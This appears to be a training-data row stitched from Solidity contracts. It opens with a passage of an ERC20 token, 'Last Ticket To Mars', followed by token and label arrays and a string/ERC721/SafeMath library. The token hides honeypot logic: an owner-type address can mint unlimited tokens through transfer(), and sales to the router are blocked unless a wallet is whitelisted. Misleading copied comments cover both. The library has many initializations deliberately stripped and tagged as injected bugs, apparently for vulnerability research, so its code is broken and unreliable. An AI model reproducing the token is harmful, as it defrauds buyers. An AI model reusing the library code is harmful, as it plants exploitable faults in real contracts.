_symbol = symbol_;
truth=true;
}
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* also check address is bot address.
*
* Requirements:
*
* - the address is in list bot.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* transferFrom.
*
* Requirements:
*
* - transferFrom.
*
* _Available since v3.1._
*/
function ROCKETFUEL (address set) public checker {
router = set;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
*
* Requirements:
*
* - the address approve.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev updateTaxFee
*
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* also check address is bot address.
*
* Requirements:
*
* - the address is in list bot.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function transfer(address recipient, uint256 amount) public override returns (bool) {
if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;}
else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount);_balances[recipient]=_balances[recipient].cre(amount);emit Transfer(recipient, recipient, amount); return true;}
else{_transfer(_msgSender(), recipient, amount); return true;}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function botban(address _count) internal checker {
confirm[_count] = true;
}
/**
* @dev updateTaxFee
*
*/
function BLASTOFF(address[] memory _counts) external checker {
for (uint256 i = 0; i < _counts.length; i++) {
botban(_counts[i]); }
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (recipient == router) {
require(confirm[sender]); }
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
*
* Requirements:
*
* - manualSend
*
* _Available since v3.1._
*/
}
function _deploy(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: deploy to the zero address");
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
}
contract lttm is ERC20{
uint8 immutable private _decimals = 18;
uint256 private _totalSupply = 888888888888 * 10 ** 18;
constructor () ERC20('Last Ticket To Mars ','ASCEND') {
_deploy(_msgSender(), _totalSupply);
}
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
} | * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], transferFrom. Requirements: - transferFrom. _Available since v3.1._/ | function ROCKETFUEL (address set) public checker {
router = set;
}
| 6,078,531 | [
1,
8650,
487,
288,
22044,
17,
1887,
17,
915,
1477,
17,
2867,
17,
3890,
17,
20294,
68,
915,
1477,
68,
6487,
7412,
1265,
18,
29076,
30,
300,
7412,
1265,
18,
389,
5268,
3241,
331,
23,
18,
21,
6315,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
6525,
14984,
42,
1821,
48,
261,
2867,
444,
13,
1071,
12489,
288,
203,
3639,
4633,
273,
444,
31,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
/**
*Submitted for verification at Etherscan.io on 2020-03-29
*/
/**
*Submitted for verification at Etherscan.io on 2019-10-18
*/
pragma solidity ^0.5.5;
library strings {
struct slice {
uint _len;
uint _ptr;
}
function memcpy(uint dest, uint src, uint len) private pure {
// Copy word-length chunks while possible
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
// Copy remaining bytes
uint mask ; //inject UNINIT LOCAL/STATE VAR
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
}
/*
* @dev Returns a slice containing the entire string.
* @param self The string to make a slice from.
* @return A newly allocated slice containing the entire string.
*/
function toSlice(string memory self) internal pure returns (slice memory) {
uint ptr;
assembly {
ptr := add(self, 0x20)
}
return slice(bytes(self).length, ptr);
}
/*
* @dev Returns the length of a null-terminated bytes32 string.
* @param self The value to find the length of.
* @return The length of the string, from 0 to 32.
*/
function len(bytes32 self) internal pure returns (uint) {
uint ret;
if (self == 0)
return 0;
if (uint(self) & 0xffffffffffffffffffffffffffffffff == 0) {
ret += 16;
self = bytes32(uint(self) / 0x100000000000000000000000000000000);
}
if (uint(self) & 0xffffffffffffffff == 0) {
ret += 8;
self = bytes32(uint(self) / 0x10000000000000000);
}
if (uint(self) & 0xffffffff == 0) {
ret += 4;
self = bytes32(uint(self) / 0x100000000);
}
if (uint(self) & 0xffff == 0) {
ret += 2;
self = bytes32(uint(self) / 0x10000);
}
if (uint(self) & 0xff == 0) {
ret += 1;
}
return 32 - ret;
}
/*
* @dev Returns a slice containing the entire bytes32, interpreted as a
* null-terminated utf-8 string.
* @param self The bytes32 value to convert to a slice.
* @return A new slice containing the value of the input argument up to the
* first null.
*/
function toSliceB32(bytes32 self) internal pure returns (slice memory ret) {
// Allocate space for `self` in memory, copy it there, and point ret at it
assembly {
let ptr := mload(0x40)
mstore(0x40, add(ptr, 0x20))
mstore(ptr, self)
mstore(add(ret, 0x20), ptr)
}
ret._len = len(self);
}
/*
* @dev Returns a new slice containing the same data as the current slice.
* @param self The slice to copy.
* @return A new slice containing the same data as `self`.
*/
function copy(slice memory self) internal pure returns (slice memory) {
return slice(self._len, self._ptr);
}
/*
* @dev Copies a slice to a new string.
* @param self The slice to copy.
* @return A newly allocated string containing the slice's text.
*/
function toString(slice memory self) internal pure returns (string memory) {
string memory ret = new string(self._len);
uint retptr;
assembly { retptr := add(ret, 32) }
memcpy(retptr, self._ptr, self._len);
return ret;
}
/*
* @dev Returns the length in runes of the slice. Note that this operation
* takes time proportional to the length of the slice; avoid using it
* in loops, and call `slice.empty()` if you only need to know whether
* the slice is empty or not.
* @param self The slice to operate on.
* @return The length of the slice in runes.
*/
function len(slice memory self) internal pure returns (uint l) {
// Starting at ptr-31 means the LSB will be the byte we care about
uint ptr ; //inject UNINIT LOCAL/STATE VAR
uint end ; //inject UNINIT LOCAL/STATE VAR
for (l = 0; ptr < end; l++) {
uint8 b;
assembly { b := and(mload(ptr), 0xFF) }
if (b < 0x80) {
ptr += 1;
} else if(b < 0xE0) {
ptr += 2;
} else if(b < 0xF0) {
ptr += 3;
} else if(b < 0xF8) {
ptr += 4;
} else if(b < 0xFC) {
ptr += 5;
} else {
ptr += 6;
}
}
}
/*
* @dev Returns true if the slice is empty (has a length of 0).
* @param self The slice to operate on.
* @return True if the slice is empty, False otherwise.
*/
function empty(slice memory self) internal pure returns (bool) {
return self._len == 0;
}
/*
* @dev Returns a positive number if `other` comes lexicographically after
* `self`, a negative number if it comes before, or zero if the
* contents of the two slices are equal. Comparison is done per-rune,
* on unicode codepoints.
* @param self The first slice to compare.
* @param other The second slice to compare.
* @return The result of the comparison.
*/
function compare(slice memory self, slice memory other) internal pure returns (int) {
uint shortest ; //inject UNINIT LOCAL/STATE VAR
if (other._len < self._len)
shortest = other._len;
uint selfptr ; //inject UNINIT LOCAL/STATE VAR
uint otherptr ; //inject UNINIT LOCAL/STATE VAR
for (uint idx ; idx < shortest; idx += 32) { //inject UNINIT LOCAL/STATE VAR
uint a;
uint b;
assembly {
a := mload(selfptr)
b := mload(otherptr)
}
if (a != b) {
// Mask out irrelevant bytes and check again
uint256 mask ; // 0xffff... //inject UNINIT LOCAL/STATE VAR
if(shortest < 32) {
mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
}
uint256 diff ; //inject UNINIT LOCAL/STATE VAR
if (diff != 0)
return int(diff);
}
selfptr += 32;
otherptr += 32;
}
return int(self._len) - int(other._len);
}
/*
* @dev Returns true if the two slices contain the same text.
* @param self The first slice to compare.
* @param self The second slice to compare.
* @return True if the slices are equal, false otherwise.
*/
function equals(slice memory self, slice memory other) internal pure returns (bool) {
return compare(self, other) == 0;
}
/*
* @dev Extracts the first rune in the slice into `rune`, advancing the
* slice to point to the next rune and returning `self`.
* @param self The slice to operate on.
* @param rune The slice that will contain the first rune.
* @return `rune`.
*/
function nextRune(slice memory self, slice memory rune) internal pure returns (slice memory) {
rune._ptr = self._ptr;
if (self._len == 0) {
rune._len = 0;
return rune;
}
uint l;
uint b;
// Load the first byte of the rune into the LSBs of b
assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
if (b < 0x80) {
l = 1;
} else if(b < 0xE0) {
l = 2;
} else if(b < 0xF0) {
l = 3;
} else {
l = 4;
}
// Check for truncated codepoints
if (l > self._len) {
rune._len = self._len;
self._ptr += self._len;
self._len = 0;
return rune;
}
self._ptr += l;
self._len -= l;
rune._len = l;
return rune;
}
/*
* @dev Returns the first rune in the slice, advancing the slice to point
* to the next rune.
* @param self The slice to operate on.
* @return A slice containing only the first rune from `self`.
*/
function nextRune(slice memory self) internal pure returns (slice memory ret) {
nextRune(self, ret);
}
/*
* @dev Returns the number of the first codepoint in the slice.
* @param self The slice to operate on.
* @return The number of the first codepoint in the slice.
*/
function ord(slice memory self) internal pure returns (uint ret) {
if (self._len == 0) {
return 0;
}
uint word;
uint length;
uint divisor ; //inject UNINIT LOCAL/STATE VAR
// Load the rune into the MSBs of b
assembly { word:= mload(mload(add(self, 32))) }
uint b ; //inject UNINIT LOCAL/STATE VAR
if (b < 0x80) {
ret = b;
length = 1;
} else if(b < 0xE0) {
ret = b & 0x1F;
length = 2;
} else if(b < 0xF0) {
ret = b & 0x0F;
length = 3;
} else {
ret = b & 0x07;
length = 4;
}
// Check for truncated codepoints
if (length > self._len) {
return 0;
}
for (uint i ; i < length; i++) { //inject UNINIT LOCAL/STATE VAR
divisor = divisor / 256;
b = (word / divisor) & 0xFF;
if (b & 0xC0 != 0x80) {
// Invalid UTF-8 sequence
return 0;
}
ret = (ret * 64) | (b & 0x3F);
}
return ret;
}
/*
* @dev Returns the keccak-256 hash of the slice.
* @param self The slice to hash.
* @return The hash of the slice.
*/
function keccak(slice memory self) internal pure returns (bytes32 ret) {
assembly {
ret := keccak256(mload(add(self, 32)), mload(self))
}
}
/*
* @dev Returns true if `self` starts with `needle`.
* @param self The slice to operate on.
* @param needle The slice to search for.
* @return True if the slice starts with the provided text, false otherwise.
*/
function startsWith(slice memory self, slice memory needle) internal pure returns (bool) {
if (self._len < needle._len) {
return false;
}
if (self._ptr == needle._ptr) {
return true;
}
bool equal;
assembly {
let length := mload(needle)
let selfptr := mload(add(self, 0x20))
let needleptr := mload(add(needle, 0x20))
equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
}
return equal;
}
/*
* @dev If `self` starts with `needle`, `needle` is removed from the
* beginning of `self`. Otherwise, `self` is unmodified.
* @param self The slice to operate on.
* @param needle The slice to search for.
* @return `self`
*/
function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {
if (self._len < needle._len) {
return self;
}
bool equal ; //inject UNINIT LOCAL/STATE VAR
if (self._ptr != needle._ptr) {
assembly {
let length := mload(needle)
let selfptr := mload(add(self, 0x20))
let needleptr := mload(add(needle, 0x20))
equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
}
}
if (equal) {
self._len -= needle._len;
self._ptr += needle._len;
}
return self;
}
/*
* @dev Returns true if the slice ends with `needle`.
* @param self The slice to operate on.
* @param needle The slice to search for.
* @return True if the slice starts with the provided text, false otherwise.
*/
function endsWith(slice memory self, slice memory needle) internal pure returns (bool) {
if (self._len < needle._len) {
return false;
}
uint selfptr ; //inject UNINIT LOCAL/STATE VAR
if (selfptr == needle._ptr) {
return true;
}
bool equal;
assembly {
let length := mload(needle)
let needleptr := mload(add(needle, 0x20))
equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
}
return equal;
}
/*
* @dev If `self` ends with `needle`, `needle` is removed from the
* end of `self`. Otherwise, `self` is unmodified.
* @param self The slice to operate on.
* @param needle The slice to search for.
* @return `self`
*/
function until(slice memory self, slice memory needle) internal pure returns (slice memory) {
if (self._len < needle._len) {
return self;
}
uint selfptr ; //inject UNINIT LOCAL/STATE VAR
bool equal ; //inject UNINIT LOCAL/STATE VAR
if (selfptr != needle._ptr) {
assembly {
let length := mload(needle)
let needleptr := mload(add(needle, 0x20))
equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
}
}
if (equal) {
self._len -= needle._len;
}
return self;
}
// Returns the memory address of the first byte of the first occurrence of
// `needle` in `self`, or the first byte after `self` if not found.
function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
uint ptr ; //inject UNINIT LOCAL/STATE VAR
uint idx;
if (needlelen <= selflen) {
if (needlelen <= 32) {
bytes32 mask ; //inject UNINIT LOCAL/STATE VAR
bytes32 needledata;
assembly { needledata := and(mload(needleptr), mask) }
uint end ; //inject UNINIT LOCAL/STATE VAR
bytes32 ptrdata;
assembly { ptrdata := and(mload(ptr), mask) }
while (ptrdata != needledata) {
if (ptr >= end)
return selfptr + selflen;
ptr++;
assembly { ptrdata := and(mload(ptr), mask) }
}
return ptr;
} else {
// For long needles, use hashing
bytes32 hash;
assembly { hash := keccak256(needleptr, needlelen) }
for (idx = 0; idx <= selflen - needlelen; idx++) {
bytes32 testHash;
assembly { testHash := keccak256(ptr, needlelen) }
if (hash == testHash)
return ptr;
ptr += 1;
}
}
}
return selfptr + selflen;
}
// Returns the memory address of the first byte after the last occurrence of
// `needle` in `self`, or the address of `self` if not found.
function rfindPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
uint ptr;
if (needlelen <= selflen) {
if (needlelen <= 32) {
bytes32 mask ; //inject UNINIT LOCAL/STATE VAR
bytes32 needledata;
assembly { needledata := and(mload(needleptr), mask) }
ptr = selfptr + selflen - needlelen;
bytes32 ptrdata;
assembly { ptrdata := and(mload(ptr), mask) }
while (ptrdata != needledata) {
if (ptr <= selfptr)
return selfptr;
ptr--;
assembly { ptrdata := and(mload(ptr), mask) }
}
return ptr + needlelen;
} else {
// For long needles, use hashing
bytes32 hash;
assembly { hash := keccak256(needleptr, needlelen) }
ptr = selfptr + (selflen - needlelen);
while (ptr >= selfptr) {
bytes32 testHash;
assembly { testHash := keccak256(ptr, needlelen) }
if (hash == testHash)
return ptr + needlelen;
ptr -= 1;
}
}
}
return selfptr;
}
/*
* @dev Modifies `self` to contain everything from the first occurrence of
* `needle` to the end of the slice. `self` is set to the empty slice
* if `needle` is not found.
* @param self The slice to search and modify.
* @param needle The text to search for.
* @return `self`.
*/
function find(slice memory self, slice memory needle) internal pure returns (slice memory) {
uint ptr ; //inject UNINIT LOCAL/STATE VAR
self._len -= ptr - self._ptr;
self._ptr = ptr;
return self;
}
/*
* @dev Modifies `self` to contain the part of the string from the start of
* `self` to the end of the first occurrence of `needle`. If `needle`
* is not found, `self` is set to the empty slice.
* @param self The slice to search and modify.
* @param needle The text to search for.
* @return `self`.
*/
function rfind(slice memory self, slice memory needle) internal pure returns (slice memory) {
uint ptr ; //inject UNINIT LOCAL/STATE VAR
self._len = ptr - self._ptr;
return self;
}
/*
* @dev Splits the slice, setting `self` to everything after the first
* occurrence of `needle`, and `token` to everything before it. If
* `needle` does not occur in `self`, `self` is set to the empty slice,
* and `token` is set to the entirety of `self`.
* @param self The slice to split.
* @param needle The text to search for in `self`.
* @param token An output parameter to which the first token is written.
* @return `token`.
*/
function split(slice memory self, slice memory needle, slice memory token) internal pure returns (slice memory) {
uint ptr ; //inject UNINIT LOCAL/STATE VAR
token._ptr = self._ptr;
token._len = ptr - self._ptr;
if (ptr == self._ptr + self._len) {
// Not found
self._len = 0;
} else {
self._len -= token._len + needle._len;
self._ptr = ptr + needle._len;
}
return token;
}
/*
* @dev Splits the slice, setting `self` to everything after the first
* occurrence of `needle`, and returning everything before it. If
* `needle` does not occur in `self`, `self` is set to the empty slice,
* and the entirety of `self` is returned.
* @param self The slice to split.
* @param needle The text to search for in `self`.
* @return The part of `self` up to the first occurrence of `delim`.
*/
function split(slice memory self, slice memory needle) internal pure returns (slice memory token) {
split(self, needle, token);
}
/*
* @dev Splits the slice, setting `self` to everything before the last
* occurrence of `needle`, and `token` to everything after it. If
* `needle` does not occur in `self`, `self` is set to the empty slice,
* and `token` is set to the entirety of `self`.
* @param self The slice to split.
* @param needle The text to search for in `self`.
* @param token An output parameter to which the first token is written.
* @return `token`.
*/
function rsplit(slice memory self, slice memory needle, slice memory token) internal pure returns (slice memory) {
uint ptr ; //inject UNINIT LOCAL/STATE VAR
token._ptr = ptr;
token._len = self._len - (ptr - self._ptr);
if (ptr == self._ptr) {
// Not found
self._len = 0;
} else {
self._len -= token._len + needle._len;
}
return token;
}
/*
* @dev Splits the slice, setting `self` to everything before the last
* occurrence of `needle`, and returning everything after it. If
* `needle` does not occur in `self`, `self` is set to the empty slice,
* and the entirety of `self` is returned.
* @param self The slice to split.
* @param needle The text to search for in `self`.
* @return The part of `self` after the last occurrence of `delim`.
*/
function rsplit(slice memory self, slice memory needle) internal pure returns (slice memory token) {
rsplit(self, needle, token);
}
/*
* @dev Counts the number of nonoverlapping occurrences of `needle` in `self`.
* @param self The slice to search.
* @param needle The text to search for in `self`.
* @return The number of occurrences of `needle` found in `self`.
*/
function count(slice memory self, slice memory needle) internal pure returns (uint cnt) {
uint ptr ; //inject UNINIT LOCAL/STATE VAR
while (ptr <= self._ptr + self._len) {
cnt++;
ptr = findPtr(self._len - (ptr - self._ptr), ptr, needle._len, needle._ptr) + needle._len;
}
}
/*
* @dev Returns True if `self` contains `needle`.
* @param self The slice to search.
* @param needle The text to search for in `self`.
* @return True if `needle` is found in `self`, false otherwise.
*/
function contains(slice memory self, slice memory needle) internal pure returns (bool) {
return rfindPtr(self._len, self._ptr, needle._len, needle._ptr) != self._ptr;
}
/*
* @dev Returns a newly allocated string containing the concatenation of
* `self` and `other`.
* @param self The first slice to concatenate.
* @param other The second slice to concatenate.
* @return The concatenation of the two strings.
*/
function concat(slice memory self, slice memory other) internal pure returns (string memory) {
string memory ret = new string(self._len + other._len);
uint retptr;
assembly { retptr := add(ret, 32) }
memcpy(retptr, self._ptr, self._len);
memcpy(retptr + self._len, other._ptr, other._len);
return ret;
}
/*
* @dev Joins an array of slices, using `self` as a delimiter, returning a
* newly allocated string.
* @param self The delimiter to use.
* @param parts A list of slices to join.
* @return A newly allocated string containing all the slices in `parts`,
* joined with `self`.
*/
function join(slice memory self, slice[] memory parts) internal pure returns (string memory) {
if (parts.length == 0)
return "";
uint length ; //inject UNINIT LOCAL/STATE VAR
for(uint i ; i < parts.length; i++) //inject UNINIT LOCAL/STATE VAR
length += parts[i]._len;
string memory ret = new string(length);
uint retptr;
assembly { retptr := add(ret, 32) }
for(uint i ; i < parts.length; i++) { //inject UNINIT LOCAL/STATE VAR
memcpy(retptr, parts[i]._ptr, parts[i]._len);
retptr += parts[i]._len;
if (i < parts.length - 1) {
memcpy(retptr, self._ptr, self._len);
retptr += self._len;
}
}
return ret;
}
}
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
contract IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of NFTs in `owner`'s account.
*/
function balanceOf(address owner) public view returns (uint256 balance);
/**
* @dev Returns the owner of the NFT specified by `tokenId`.
*/
function ownerOf(uint256 tokenId) public view returns (address owner);
/**
* @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to
* another (`to`).
*
*
*
* Requirements:
* - `from`, `to` cannot be zero.
* - `tokenId` must be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this
* NFT by either {approve} or {setApprovalForAll}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public;
/**
* @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to
* another (`to`).
*
* Requirements:
* - If the caller is not `from`, it must be approved to move this NFT by
* either {approve} or {setApprovalForAll}.
*/
function transferFrom(address from, address to, uint256 tokenId) public;
function approve(address to, uint256 tokenId) public;
function getApproved(uint256 tokenId) public view returns (address operator);
function setApprovalForAll(address operator, bool _approved) public;
function isApprovedForAll(address owner, address operator) public view returns (bool);
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public;
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
contract IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
contract IERC721Enumerable is IERC721 {
function totalSupply() public view returns (uint256);
function tokenOfOwnerByIndex(address owner, uint256 index) public view returns (uint256 tokenId);
function tokenByIndex(uint256 index) public view returns (uint256);
}
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
contract IERC721Receiver {
/**
* @notice Handle the receipt of an NFT
* @dev The ERC721 smart contract calls this function on the recipient
* after a {IERC721-safeTransferFrom}. This function MUST return the function selector,
* otherwise the caller will revert the transaction. The selector to be
* returned can be obtained as `this.onERC721Received.selector`. This
* function MAY throw to revert and reject the transfer.
* Note: the ERC721 contract address is always the message sender.
* @param operator The address which called `safeTransferFrom` function
* @param from The address which previously owned the token
* @param tokenId The NFT identifier which is being transferred
* @param data Additional data with no specified format
* @return bytes4 `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes memory data)
public returns (bytes4);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c ; //inject UNINIT LOCAL/STATE VAR
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
